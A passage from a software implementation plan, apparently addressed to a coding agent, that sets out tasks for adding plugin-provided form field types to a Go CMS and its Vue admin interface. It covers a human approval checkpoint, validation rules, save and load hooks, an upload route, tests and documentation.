<read_first>modules/pact/capabilities.go (AdminAction, AdminActionInput, HasAdminActions, AdminClientAssets: the style to copy), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md (D-11 to D-15, Claude's Discretion), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 1, 2, 5, 9; Code Example 1), this plan's interfaces block</read_first>
|
||||
<action>Do the automatable part, then stop. Run the verify command (baseline: the contract and schema tests this plan must keep green pass before any change) and confirm `git status --porcelain -- modules admin docs scripts` prints nothing; if it prints anything, report the in-flight files (concurrent session, 16.1 D-02) and stop without editing.
|
||||
|
||||
Then print the proposal sheet: the pact types and func signatures exactly as in the interfaces block, including Decode's FormFieldDecoded answer and FormFieldNotice (the D-10 amendment: a type reports what it changed instead of refusing); which funcs are optional (CheckOptions, Load, ListValue, Upload) and which is required (Decode); the cabana additions (FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, FieldNotice, RecordMeta.Notices as meta.notices omitted when empty, the FormField keys element, translatable and typeOptions); the two routes and their answers; the element contract (value property, attributes, summer-change, summer-upload, summer-upload-result), labelled "fixed: shared with plan 02, not open at this checkpoint"; the alias rule (^[a-z][a-z0-9]*$, no core type, no duplicate) and the option-key rule (^[A-Za-z][A-Za-z0-9]*$, no core field key); and the assumptions section of this plan (A5 refusal in settings and relation forms, field-types route, string values for translatable types). Stop for the human.</action>
|
||||
<decision>Adopt this pact and cabana field-type API as proposed, or adjust named Go identifiers before they are written?</decision>
|
||||
<context>D-12 rates the pact interface one-way: once summercms is tagged (plan 05: v0.1.18, or the next free v0.1.x; v0.1.17 is already the 16.1 security release) other repositories compile against these names, and the todo cabana-plugin-registered-field-types expects payment and other plugins to build on it. Before the tag, a rename costs one search-and-replace in this phase; after it, every consuming plugin changes. Journal's Go integration (plan 03) is the first consumer and is written against these exact names. Scope of this checkpoint: pact and cabana Go identifiers and the GET /field-types answer only. The element contract (tag prefix rule, value property, the attributes, summer-change, summer-upload, summer-upload-result) is fixed by this plan per D-13 and is being implemented by plan 02 in parallel, so it is not adjustable here; a human who wants it changed replies "stop" here and at plan 02's package checkpoint, and plans 01 and 02 are re-planned together.</context>
|
||||
<options>
|
||||
<option id="approve">
|
||||
<name>Approve as proposed</name>
|
||||
<pros>Matches the research recommendation (struct of funcs, like pact.AdminAction); plans 02 and 03 are written against these names</pros>
|
||||
<cons>Field names become a published contract at the plan 05 tag</cons>
|
||||
</option>
|
||||
<option id="adjust">
|
||||
<name>Approve with named changes</name>
|
||||
<pros>The human renames or reshapes pact and cabana Go identifiers before code exists</pros>
|
||||
<cons>The executor must apply the same renames to plans 03, 05 and 06 text it reads later (record them in the SUMMARY); plan 02 references no Go identifier, so it is unaffected</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "approve", "adjust:" followed by the Go identifier changes, or "stop" to change the element contract (re-plans 01 and 02 together).</resume-signal>
|
||||
<verify>
|
||||
<automated>go vet ./modules/pact ./modules/cabana && go test -count=1 -run '^(TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
|
||||
<fails_when>Non-zero exit: vet reports a problem, or fewer than four "--- PASS: Test" lines (a baseline contract or schema test already fails before this plan changes anything).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The baseline verify passed and `git status --porcelain -- modules admin docs scripts` printed nothing.
|
||||
- The SUMMARY records the human's reply verbatim and, for "adjust", the final identifier list that Tasks 2 to 4 use; the element contract names in that list are exactly the ones in the interfaces block.
|
||||
</acceptance_criteria>
|
||||
<done>A human approved the API or named Go identifier changes, with the element contract unchanged; nothing has been edited yet.</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: one non-translatable plugin field type end to end (pact, boot, schema, save Decode, Show Load, field-types route, SPA PluginField)</name>
|
||||
<reversibility rating="one-way">Published pact API: after the plan 05 tag, other plugins' go.mod require these names; renaming means editing every consumer (D-12).</reversibility>
|
||||
<precondition>Task 1 was answered "approve" or "adjust" and the SUMMARY lists the identifiers to use.</precondition>
|
||||
<files>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/field_type.go, modules/cabana/form_schema.go, modules/cabana/schema_types.go, modules/cabana/registry.go, modules/cabana/http.go, modules/cabana/crud.go, modules/cabana/relation_field.go, modules/cabana/extension.go, modules/cabana/settings.go, modules/cabana/relation_form.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, admin/src/app/fieldTypes.ts, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/components/form/registry.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/PreviewField.vue, admin/src/components/form/FormField.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/PluginField.vue, admin/tests/form/PluginField.test.ts, modules/boardwalk/dist, docs/backend/field-types.md, docs/backend/forms.md</files>
|
||||
<read_first>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/form_schema.go, modules/cabana/schema_types.go (FormField, ListColumn), modules/cabana/registry.go, modules/cabana/http.go (Activate, mount, protect, navigation handler), modules/cabana/crud.go (save, ShowRecord, lifecycleFailure, localizeForbidden, scalarFormField and its callers), modules/cabana/relation_field.go (RecordMeta, RecordResult), modules/phrasebook/translator.go (Get, Choice), modules/phrasebook/backend/lang/pl/lang.yaml (lines 40-44: plural map format), modules/cabana/extension.go, modules/cabana/settings.go (decodeFields caller at 74), modules/cabana/relation_form.go (decodeFields callers at 145 and 246), modules/cabana/admin_openapi.go (the /navigation and FormField annotations), modules/cabana/security_coverage_test.go (phase09Routes), modules/cabana/query_relation_test.go (openDryRunDB, newDryRunListService: test style), modules/cabana/README.md (Admin API routes table, API reference), scripts/check-admin-openapi.sh, scripts/check-admin-dist.sh, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/state/useNavigation.ts, admin/src/components/form/registry.ts, admin/src/components/form/control.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/WidgetField.vue, admin/tests/form/WidgetField.test.ts, docs/backend/partials-and-widgets.md (Form widgets, Widget element contract), docs/backend/forms.md, docs/site.yaml</read_first>
|
||||
<action>Build the thinnest complete path for a plain plugin type (per D-11, D-12, D-13, D-15), using the identifiers recorded by Task 1.
|
||||
|
||||
pact (D-12, D-10): add FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError (Error joins Messages with "; ") and HasFormFieldTypes to modules/pact/capabilities.go with doc comments in the AdminAction style: cabana owns routes, CSRF, authentication, permissions, record scope, locale storage, notice localization and the untouched-value skip; Decode returns FormFieldDecoded (the value to store plus optional notices; a notice reports a change the type made to an accepted value, a FormFieldError refuses a value the type cannot accept), Load returns what the element receives, ListValue returns list text, Upload stores a file and returns its URL. The HasFormFieldTypes doc comment says it is implemented by the plugin (not a controller), like HasAdminControllers.
|
||||
|
||||
Registry (D-11, RESEARCH Pattern 1): new modules/cabana/field_type.go with compileFieldTypes(plugins []party.Plugin) (*fieldTypeRegistry, error), called in Activate before compileRegistry and passed down as a parameter; no package-level registry. Rules, each a boot error of the form "cabana: plugin <id> field type <name>: <reason>": the alias matches ^[a-z][a-z0-9]*$; it is not a key of formFieldTypes; it is not claimed by another plugin (the message names both plugin IDs); Element passes checkWidgetTag with widgetTagPrefix(pluginID); Decode is non-nil; each Options key matches ^[A-Za-z][A-Za-z0-9]*$, is not a key of formFieldKeys and is not repeated; a plugin declaring Scripts or Styles implements pact.AdminAssets. Extract the read-and-hash closure of compileClientAssets into readClientAssets(pluginID, owner string, fsys fs.FS, files []string, exts ...string) ([]*pluginAsset, error) and use it for both controller assets and field-type Scripts (.js, .mjs) and Styles (.css); field-type assets join Registry.assets so the existing GET {prefix}/assets/{vendor}/{plugin}/{file...} route serves them with ETag and ?v=.
|
||||
|
||||
Compile (D-12.1): compileRegistry and compileList/compileFormIfPresent take the registry; decodeFields(raw, types) passes it through fieldMap to compileFieldNode, which now reads the type first: for a plugin alias the accepted keys are label, comment, span, type, required, tab, context, attributes, size, default plus the type's Options; any other key is "unknown field <key>"; option values decode from the YAML nodes into JSON-compatible values (string, bool, int or float64, []any, map[string]any) in FormField.TypeOptions; CheckOptions (when non-nil) errors fail boot naming field and type. Core types keep today's path byte for byte. FormField gains Element, Translatable, TypeOptions (JSON element, translatable, typeOptions, omitempty) and an unexported fieldType pointer (json "-"). CompileForm keeps its signature and core-only behaviour (a plugin alias stays "unsupported type"); add CompileFormWithTypes(pluginID, ctl, fsys, types) that runs the alias and option checks (element prefix and assets are checked by Activate). settings.go and relation_form.go use a refusing registry: a plugin alias there fails boot with "plugin field type <name> is supported in controller forms only" (assumption A5).
|
||||
|
||||
Save and show (D-12.2, D-12.3, D-10 mapping): the scalarFormField checks at crud.go BindWritableFields and mergedRules also accept a field with a plugin type, so it binds to its column and `required` works. New liftPluginValues(cc, body, op), called next to liftMLValues before the transaction, removes the values of non-translatable plugin fields present in the body whose context allows op and keeps them as raw JSON values (projection would drop nested ones). New decodePluginFields, called inside the transaction after projectOperation and before lagoon.Fill, runs Decode with FormFieldValue{DB: tx, Record: target, Field, Options, Default: true, Value}, sets projected[field] to the result's Value and keeps the result's Notices with the field name; a *pact.FormFieldError becomes &ValidationError{Details: {field: Messages}} (422 validation_failed) and discards every collected notice; any other error goes through lifecycleFailure (opaque 500, no plugin text). New hydratePluginFields runs after hydrateMLRecord in ShowRecord and at the end of save: data[field] = Load(...) with Value = the projected stored value; nil Load keeps the value; a Load error is an opaque 500. So the save response always carries the stored value, which the SPA adopts into the form (the reload D-10 asks for).
|
||||
|
||||
Notices (D-10, framework half): after the transaction commits, new localizeNotices(ctx, s.tr, collected) turns each notice into a FieldNotice{Field, Locale, Message} in the request locale, the way localizeForbidden localizes a refusal: Message is a phrase key or text, resolved with tr.Choice(ctx, key, Count, Params) when Count > 0 and tr.Get(ctx, key, Params) otherwise; a nil translator keeps the text. At most 10 notices per field and locale are kept and each localized message is cut to 500 runes with an ellipsis. RecordMeta (relation_field.go) gains Notices []FieldNotice with json "notices,omitempty", set on the RecordResult that create and update write; with no notice the encoded response is byte-for-byte today's.
|
||||
|
||||
Route (D-13): GET {api}/field-types behind the backend guard (handler fieldTypesList) answers the FieldTypesResponse shape in the interfaces block, [] when no plugin registers a type. Annotate it in admin_openapi.go (FieldTypeAssets, FieldTypesResponse), document the FormField keys and the optional RecordMeta notices (FieldNotice); add "GET /field-types" to phase09Routes; run bash scripts/check-admin-openapi.sh (writes admin/openapi/admin.json and admin/src/api/schema.d.ts) and add the FieldTypeAssets alias to admin/src/api/types.ts.
|
||||
|
||||
SPA (D-13, D-15): pluginAssets.ts gains GLOBAL_STYLE_OWNER = '*' and loadGlobalStyles(urls), whose links activateStyles never disables (Pitfall 8). New admin/src/app/fieldTypes.ts: loadFieldTypes() GETs /field-types, loads each script once through loadScript, adds styles through loadGlobalStyles and resolves to the list; it never rejects (a failed script surfaces later as that field's failure state). main.ts calls it with loadNavigation when signed in; LoginView calls it after login. formContext.ts adds FIELD_CHANGE_EVENT = 'summer-change'. New PluginField.vue modelled on WidgetField.vue (same header rule: never a token, cookie, function or Vue instance; imperative element in a mount point; status loading, ready or failed with WIDGET_TIMEOUT; ExtensionFailure): it sets the element's value property from modelValue only when it differs from element.value, sets the attributes of the element contract (field-name, record-id, locale empty for a plain type, ui-locale from FORM_LOCALE, options as JSON of typeOptions, disabled, invalid), and emits update:modelValue with detail.value on summer-change. registry.ts adds rendererForField(field) and isRegisteredField(field): a field with an element renders PluginField and counts as a value field; FieldRenderer, PreviewField and formState's editable check switch to them; FormField's group label treats a plugin field as a group. Rebuild dist with npm --prefix admin run build.
|
||||
|
||||
Smoke tests: modules/cabana/field_type_smoke_test.go TestFieldTypeTracerSmoke (no database): a fake plugin "acme.demo" whose AdminFS (fstest.MapFS) holds assets/js/notes.js registers type "notes" with element "acme-demo-notes", option key "rows", a Decode that refuses the string "bad" with a FormFieldError, trims surrounding spaces and reports that with the notice Message "acme.demo::lang.trimmed" (Count 1), and otherwise returns the value with no notice, and a Load that prefixes "served:"; subtests: alias collision with a second plugin and with "markdown" fail boot; an unknown key and a CheckOptions error fail boot; GET /field-types through httptest lists notes with a ?v= script URL; GET schema/form carries element and typeOptions; decodePluginFields on a stub record sets projected["notes"] and maps "bad" to a ValidationError on "notes"; a value " x " is stored as "x" and localizeNotices yields one FieldNotice for "notes" (a nil translator keeps the key text); the JSON encoding of a RecordMeta without notices has no "notices" key; hydratePluginFields serves the "served:" value. admin/tests/form/PluginField.test.ts: a stub custom element; mounting PluginField sets the value property and the attributes; a summer-change event emits update:modelValue; an echo of the same value does not set the property again; an undefined tag ends in the failure state.
|
||||
|
||||
Docs (CLAUDE.md documentation rules, neutral names only): pact README (Features and API reference rows for each new pact identifier, FormFieldDecoded and FormFieldNotice included); cabana README (the GET /field-types row in Admin API routes, CompileFormWithTypes, FieldNotice, the meta.notices key of the create and update responses and the FormField keys in API reference); new docs/backend/field-types.md (front matter title "Plugin field types", section backend, order 25) covering registration, aliases, options, Decode (value, notices, refusal) and Load and the element contract; a link from docs/backend/forms.md where the supported field types are listed. Commit as feat(pact), feat(cabana) and feat(admin) commits, each with its README, docs, OpenAPI or dist changes, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/pact ./modules/cabana && go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 5</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than five top-level "--- PASS: Test" lines (the tracer smoke is missing or failing, or the route inventory, permission matrix or schema tests regressed).</fails_when>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test -- tests/form/PluginField.test.ts tests/form/WidgetField.test.ts tests/form/registry.test.ts tests/form/formState.test.ts && bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: vue-tsc reports a type error, a vitest file fails or is not found, check-admin-openapi prints "committed admin OpenAPI output is stale", check-admin-dist prints "modules/boardwalk/dist is stale", or TestDocsTree reports an identifier, link or anchor the docs name that does not exist.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "type HasFormFieldTypes interface" modules/pact/capabilities.go`, `grep -n "type FormFieldDecoded struct" modules/pact/capabilities.go` and `grep -n "func compileFieldTypes" modules/cabana/field_type.go` each print one line.
|
||||
- `grep -n 'json:"notices,omitempty"' modules/cabana/relation_field.go` prints one line and `grep -n "func localizeNotices" modules/cabana/*.go` prints one line.
|
||||
- `grep -n '"GET /field-types"' modules/cabana/security_coverage_test.go` prints one line and admin/openapi/admin.json contains the path "/field-types" and the property "notices".
|
||||
- TestFieldTypeTracerSmoke passes with subtests for: collision between two plugins, collision with markdown, unknown key, CheckOptions error, the field-types route, schema keys element and typeOptions, Decode success, Decode notice to FieldNotice, no notices key without notices, FormFieldError mapping, Load on show.
|
||||
- PluginField.test.ts passes, including the echo case (no second property write for an equal value).
|
||||
- check-admin-openapi --check, check-admin-dist and TestDocsTree pass; docs/backend/field-types.md has front matter section backend.
|
||||
- `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing (neutral names).
|
||||
</acceptance_criteria>
|
||||
<done>A fake plugin's non-translatable type compiles at boot, appears in the form schema and the field-types list, is decoded on save (its notices reach meta.notices, and a save without notices answers as before) and loaded on show, and the SPA renders its element with a two-way value binding.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Expansion (Go): translatable types, untouched skip, written-values accessor, list values and the cabana upload route</name>
|
||||
<files>modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_ml.go, modules/cabana/crud.go, modules/cabana/tx_context.go, modules/cabana/list_schema.go, modules/cabana/http.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, docs/backend/field-types.md</files>
|
||||
<read_first>modules/cabana/field_type.go (Task 2 state), modules/cabana/field_ml.go, modules/cabana/crud.go (save, ShowRecord, BindWritableFields column binding helpers modelFields and gormColumn), modules/cabana/tx_context.go, modules/cabana/list_schema.go (listColumnTypes at 22, compileColumns at 200), modules/cabana/http.go (projectRow at 1067, the fileupload routes at 335-347, protect at 1030), modules/cabana/field_file.go (fileUpload and fileUploadOn at 684-760: MaxBytesReader, multipart, transaction, scope), modules/cabana/csrf.go (requireAjax), modules/cabana/locale_order_test.go (recordingWriter: fake TranslationWriter style), modules/cabana/admin_openapi.go (file upload annotations near line 1156), modules/cabana/README.md, docs/backend/field-types.md, docs/backend/admin-controllers.md (VirtualFieldsFromContext section: style for the writes accessor)</read_first>
|
||||
<behavior>
|
||||
- Translatable type: a body map {en, pl} with pl default runs Decode once per locale; pl lands on the host column, en goes through TranslationWriter.WriteTranslated; a FormFieldError on en is a 422 on the field and nothing is written.
|
||||
- Notices per locale (D-10): a notice returned for en becomes a FieldNotice with field and locale "en", one for the default locale carries locale "pl"; a non-translatable type's notices carry no locale; a FormFieldError on any locale answers 422 with no notices.
|
||||
- Untouched (D-03): on update, a submitted per-locale value equal to the served value (Load of the stored value) is neither decoded nor written and yields no notice; on create nothing is skipped.
|
||||
- FieldWritesFromContext inside FormBeforeUpdate and FormAfterUpdate lists exactly the written (field, locale) values with Default set for the host value; it returns false outside a save.
|
||||
- A list column typed "notes" shows ListValue(value); without ListValue the raw value is kept.
|
||||
- Upload route: 201 {data:{url}} from Upload; 404 for a core-typed field or a type without Upload; 403 without the controller permission; missing X-Requested-With refused by requireAjax; over the cap 413; FormFieldError 422 on the field; id 0 passes Record nil.
|
||||
</behavior>
|
||||
<action>Extend Task 2's runner (per D-03, D-06, D-10, D-12.4, D-14, D-18).
|
||||
|
||||
Translatable types (D-14, D-06): add isMLField(field FormField) bool = mlFieldType(field.Type) or a plugin type with Translatable; switch the field loops in liftMLValues and hydrateMLRecord to it, so a translatable plugin field is lifted (locale to string map, default required, enabled locales only) and hydrated exactly like mlmarkdown. decodePluginFields then handles translatable fields per locale: the default-locale value is decoded into projected[field]; non-default values are decoded and replace the matching entries of the translations list that applyMLTranslations writes. Every locale's notices are kept with that locale (FieldNotice.Locale), the default locale included. A translatable Decode's FormFieldDecoded.Value must be a string; any other result type is an opaque 500. FormFieldValue.Translated is a closure over TranslationWriter.TranslatedExact(ctx, tx, record, attribute, locale) for the same record and locale (nil without a writer). hydratePluginFields applies Load per locale to the hydrated map.
|
||||
|
||||
Untouched skip (D-03 server half, RESEARCH Pattern 3): new servedFieldValue computes what Show serves for a field and locale on the loaded target (host value read through the same column binding BindWritableFields uses, pointers dereferenced; non-default from TranslatedExact, missing = ""), then Load. On update, decodePluginFields compares the submitted value with the served value by canonical encoding/json bytes and skips equal ones entirely (not in projected, not in translations). On create nothing is skipped.
|
||||
|
||||
Written values (Pitfall 7): tx_context.go gains FieldWrite, withFieldWrites (unexported), WithFieldWrites (exported, documented for Form hook tests) and FieldWritesFromContext (returns a copy; false outside a create or update), mirroring withVirtualFields/VirtualFieldsFromContext. save puts the writes on the context right after decodePluginFields, before formBeforeUpdate/formBeforeCreate, so Before and After hooks both see them.
|
||||
|
||||
List (D-12.4): compileColumns accepts a plugin alias as a column type (listColumnTypes stays the core set); ListColumn gets an unexported fieldType; projectRow returns ListValue(value) for such a column when ListValue is non-nil.
|
||||
|
||||
Upload route (D-18, RESEARCH Pattern 9): new modules/cabana/field_type_upload.go with fieldUpload mounted as g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload)) plus constrainFile-style Where constraints, next to the file routes (7 segments; distinct from .../files/{field}/reorder and .../relations/{name}/link by the literal segment). Inside s.protect: the field must exist in cc.Form with a plugin type whose Upload is non-nil, else 404 not_found; the field's context must allow create when id is 0 and update otherwise, else 404; the body is capped with http.MaxBytesReader(w, r.Body, s.uploadBytes); exactly one multipart part named file, else 422 invalid on the field; for id != 0 the record loads through loadRecord (FormExtendQuery scope) in a transaction, a miss is 404; Upload gets FormFieldUpload{DB, Record (nil for id 0), Field, Options, Filename, Body}; a FormFieldError is 422 validation_failed on the field; any other error an opaque 500; success 201 {"data":{"url":...}} (FieldUploadResponse). Annotate the route in admin_openapi.go, add "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload" to phase09Routes, run bash scripts/check-admin-openapi.sh and add the FieldUploadResponse alias to admin/src/api/types.ts.
|
||||
|
||||
Tests: TestFieldTypeExpansionSmoke in field_type_smoke_test.go (no database; a recording TranslationWriter in the locale_order_test.go style; a translatable fake type "notesml"; the upload route through httptest with id 0 and a principal context as the existing route tests build it) covering every behavior bullet above.
|
||||
|
||||
Docs: cabana README rows for FieldWrite, FieldWritesFromContext, WithFieldWrites and the upload route, and a note that settings and relation forms refuse plugin field types; docs/backend/field-types.md sections "Translatable types", "Untouched values", "Notices" (FormFieldDecoded notices, per-locale FieldNotice, localization, the 10-per-field and 500-rune caps, no key without notices), "Companion columns in Form hooks" (with FieldWritesFromContext) and "Uploads"; neutral names only. Commit as feat(cabana) with the README, docs and OpenAPI files, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 6</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than six top-level "--- PASS: Test" lines (the expansion smoke fails or is missing, or an existing route, permission, relation-search or locale-order smoke regressed).</fails_when>
|
||||
<automated>bash scripts/check-admin-openapi.sh --check && npm --prefix admin run typecheck && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: the committed OpenAPI or schema.d.ts is stale, the SPA no longer type-checks against the regenerated types, or TestDocsTree reports a missing identifier, link or anchor.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func FieldWritesFromContext" modules/cabana/tx_context.go` and `grep -n "func WithFieldWrites" modules/cabana/tx_context.go` each print one line.
|
||||
- `grep -n 'fields/{field}/upload' modules/cabana/http.go modules/cabana/security_coverage_test.go modules/cabana/admin_openapi.go` prints at least one line per file.
|
||||
- TestFieldTypeExpansionSmoke has passing subtests for: per-locale Decode with default on the host and non-default through the writer, per-locale notices with their locale, a non-default FormFieldError 422 with no write and no notices, untouched skip on update for host and translation (no notice), no skip on create, the writes accessor in Before and After hooks, ListValue in projectRow, and the upload route answers 201, 404 (core field), 403 (no permission), 413 (over the cap) and 422 (FormFieldError).
|
||||
- The OpenAPI check, typecheck and TestDocsTree pass.
|
||||
</acceptance_criteria>
|
||||
<done>Translatable plugin types store through the existing ML path with per-locale notices, untouched values are never written, hooks can see what was written, list columns format through the type, and the upload route is mounted, documented and permissioned.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 4: Expansion (SPA): MLPluginField, element uploads through the SPA, plugin list columns, save notices, docs and dist</name>
|
||||
<files>admin/src/components/form/fields/MLPluginField.vue, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/registry.ts, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/FormGrid.vue, admin/src/components/form/FormField.vue, admin/src/views/FormView.vue, admin/src/views/ListView.vue, admin/src/components/relation/RelationChildModal.vue, admin/tests/form/PluginField.test.ts, admin/tests/form/FormField.test.ts, admin/tests/form/formState.test.ts, modules/boardwalk/dist, docs/backend/field-types.md</files>
|
||||
<read_first>admin/src/components/form/fields/PluginField.vue (Task 2 state), admin/src/components/form/fields/MLField.vue, admin/src/components/form/fields/MLMarkdownField.vue, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts (isMLFieldType callers at 68, 139, 187, 228-233), admin/src/views/FormView.vue (isMLFieldType at 180 and 252, adopt at 173, save at 315, the saved toast at 337), admin/src/components/form/FormGrid.vue (errors per field at 47), admin/src/components/form/FormField.vue (errors prop, error line, aria-describedby), admin/src/main.css (.summer-callout--warning near line 400), admin/src/components/relation/RelationChildModal.vue (isMLFieldType at 221), admin/src/views/ListView.vue (column cell rendering), admin/src/api/files.ts (multipart upload with X-Requested-With and failure kinds), admin/src/api/client.ts, admin/tests/form/MLFields.test.ts, admin/tests/form/PluginField.test.ts, admin/tests/form/FormField.test.ts, docs/backend/field-types.md</read_first>
|
||||
<behavior>
|
||||
- A field with element and translatable renders MLPluginField: the locale switcher of MLField around PluginField; the element gets the active content locale in its locale attribute and that locale's string as value; summer-change updates only that locale in the map.
|
||||
- isMLField(field) is true for mltext, mltextarea, mlmarkdown and for a field with element and translatable; formState initial values, editable payload, adopt and record display name treat such a field as a locale map.
|
||||
- summer-upload {id, file} posts multipart to the field upload route with the form's vendor, plugin, controller, record id (0 on create) and field name, then dispatches summer-upload-result {id, url} on success and {id, error} with the server message on 422, 413 or a network failure.
|
||||
- A list column whose type is not built in renders its value as plain text.
|
||||
- Notices (D-10): a save answer with meta.notices shows each message under its field (prefixed with the upper-case locale for a translatable field) as a warning status line, and the saved toast appends the messages; the lines clear on the next save attempt; a save answer without notices shows none and the toast text is unchanged; a notice that looks like HTML renders as literal text.
|
||||
- After a save whose stored value differs from what the element holds (a type stripped something), the form value equals the response's value and PluginField sets the element's value property once to it.
|
||||
</behavior>
|
||||
<action>Finish the SPA half (per D-06, D-10, D-13, D-14, D-18).
|
||||
|
||||
ML (D-14): new MLPluginField.vue in the MLMarkdownField.vue shape: MLField with :inner="PluginField", inner-type = field.type and ml-type = field.type; PluginField accepts an optional content-locale prop that MLField's inner rendering supplies and writes it to the locale attribute. mlLocale.ts gains isMLField(field) (keep isMLFieldType exported unchanged); switch the callers in formState.ts, FormView.vue and RelationChildModal.vue to the field-based check. rendererForField returns MLPluginField for a translatable plugin field; groupLabelled is true for it.
|
||||
|
||||
Uploads (D-18): formContext.ts adds FIELD_UPLOAD_EVENT = 'summer-upload' and FIELD_UPLOAD_RESULT_EVENT = 'summer-upload-result'. PluginField listens for summer-upload, posts the File as the single multipart part "file" to /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload with the same session and X-Requested-With handling api/files.ts uses (path values from the control props, record id 0 on create), and dispatches summer-upload-result on the element with {id, url} or {id, error} (the 422 message, or a localized generic failure for 413 and network errors). The SPA never hands the element a token or a function.
|
||||
|
||||
Lists (D-12.4): make ListView render a column whose type has no built-in renderer as plain text of the row value (the server already sent the ListValue string), if it does not already.
|
||||
|
||||
Notices (D-10, generic for any field type): formState.ts exports noticeLines(notices) returning a field name to message list map, where a notice with a locale reads "<LOCALE>: message". FormView keeps a notices ref, clears it when a save starts, and after a successful create or update sets it from result.data.meta.notices (absent means none); it passes it through FormGrid to FormField the same way it passes errors. FormField gains an optional notices prop rendered under the control as a status line in the existing warning callout tone (summer-callout--warning, role="status", referenced by aria-describedby), with text interpolation only, never as raw HTML. The saved toast appends the joined notice messages, so "Zapisz i zamknij", which navigates away, still tells the admin. adopt(result.data) already reloads the stored values; keep PluginField's echo rule, so the element gets the stored value exactly when it differs from element.value.
|
||||
|
||||
Tests: extend admin/tests/form/PluginField.test.ts with the ML wrapper (two locales, locale attribute, per-locale change), the upload round trip (mocked fetch: success, 422 message, network failure), the reload of a changed stored value, and isMLField on the formState helpers; FormField.test.ts with the notice line (literal text for an HTML-looking message, aria-describedby, none without notices); formState.test.ts with noticeLines (locale prefix, no locale, empty).
|
||||
|
||||
Docs and dist: docs/backend/field-types.md gains the full element contract (value, attributes, summer-change, summer-upload, summer-upload-result, the echo rule, --c-* only, no credentials), the translatable variant and how the admin shows notices; rebuild with npm --prefix admin run build and commit modules/boardwalk/dist with the SPA change as feat(admin), staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: a type error, any vitest file failing (including MLFields, FormView, ListView and the extended PluginField tests), check-admin-dist printing "modules/boardwalk/dist is stale", or TestDocsTree reporting a missing identifier or anchor.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "export function isMLField" admin/src/components/form/mlLocale.ts` prints one line, and FormView.vue, formState.ts and RelationChildModal.vue call isMLField.
|
||||
- `grep -n "export function noticeLines" admin/src/components/form/formState.ts` prints one line, `grep -n "meta.notices\|meta?.notices" admin/src/views/FormView.vue` prints at least one line, and `grep -n "v-html" admin/src/components/form/FormField.vue` prints nothing.
|
||||
- PluginField.test.ts passes its ML, upload (success, 422, network), stored-value reload and isMLField cases; FormField.test.ts and formState.test.ts pass their notice cases; the full vitest suite passes.
|
||||
- docs/backend/field-types.md documents summer-change, summer-upload, summer-upload-result and notices.
|
||||
